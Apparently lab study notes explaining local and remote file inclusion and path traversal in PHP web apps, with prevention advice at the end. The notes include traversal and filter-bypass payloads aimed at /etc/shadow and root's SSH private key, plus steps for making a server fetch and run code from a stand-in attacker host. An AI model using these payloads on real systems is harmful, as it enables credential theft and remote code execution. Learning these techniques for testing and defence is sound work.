

What is File Inclusion?

- Web applications request files via parameters (GET/POST/COOKIE)
- Example: `http://webapp.thm/get.php?file=userCV.pdf`
- Vulnerable when user input isn't sanitized/validated
- Can lead to data leakage or RCE

Types:

- **LFI (Local File Inclusion)** - Include local files on server
- **RFI (Remote File Inclusion)** - Include remote files from external server
- **Directory Traversal** - Navigate file system using `../`

Path Traversal (Directory Traversal)

- Uses `../` to move up directories
- Linux: `http://webapp.thm/get.php?file=../../../../etc/passwd`
- Windows: `http://webapp.thm/get.php?file=../../../../boot.ini` or `../../../../windows/win.ini`

Common Linux files to target:

- `/etc/passwd` - user accounts
- `/etc/shadow` - password hashes
- `/etc/issue` - system identification
- `/proc/version` - kernel version
- `/root/.bash_history` - root command history
- `/var/log/apache2/access.log` - Apache access logs
- `/root/.ssh/id_rsa` - private SSH keys

Common Windows files:

- `c:\boot.ini` - boot options
- `c:\windows\win.ini` - Windows settings

LFI Scenarios & Bypass Techniques

Scenario 1: No directory specified, no validation

```
include($_GET["lang"]);
```

- Payload: `?lang=/etc/passwd`

Scenario 2: Directory specified

```
include("languages/" . $_GET['lang'] );
```

- Payload: `?lang=../../../../etc/passwd`

Scenario 3: File extension appended (.php)

```
include("languages/" . $_GET['lang'] . ".php");
```

- Error messages reveal path structure
- **Null Byte injection (%00)** - terminates string, ignores .php
- Payload: `?lang=../../../../etc/passwd%00`
- Note: %00 fixed in PHP 5.3.4+

Scenario 4: Filtered keywords (e.g., /etc/passwd blocked)

- Bypass with current directory trick:
 - `?lang=/etc/passwd/.`
 - `?lang=/etc/passwd%00`
 - `?lang=/etc/passwd/`

Scenario 5: ../ filtered (replaced with empty string)

```
include("languages/" . $_GET['lang'] ); with filter removing ../
```

- Bypass: `.....//.....//.....//.....//etc/passwd`
- Filter removes first `../` leaving `../../../../etc/passwd`

Scenario 6: Must include directory in path

```
?lang=languages/EN.php
```

- Payload: `?lang=languages/../../../../etc/passwd`

RFI (Remote File Inclusion)

- Requires `allow_url_fopen = On`
- Include remote malicious file from attacker server
- Steps:
 1. Host malicious file on attacker server (e.g., `cmd.txt` with PHP code)
 2. Inject: `?lang=http://attacker.thm/cmd.txt`
 3. Server fetches and executes remote file
 4. Can lead to RCE

RFI consequences:

- RCE
 - Sensitive data disclosure
 - XSS
 - DoS
-

LFI Testing Methodology:

1. Find entry points (GET, POST, COOKIE, headers)
 2. Test valid input to see normal behavior
 3. Test invalid inputs with special characters and common file names
 4. Look for error messages disclosing path information
 5. Identify input validation/filters
 6. Attempt bypass techniques to read sensitive files
-

Prevention:

- Keep systems/frameworks updated
- Turn off PHP errors in production
- Use WAF
- Disable `allow_url_fopen` and `allow_url_include` if not needed
- Implement input validation
- Whitelist/blacklist files and locations
- Never trust user input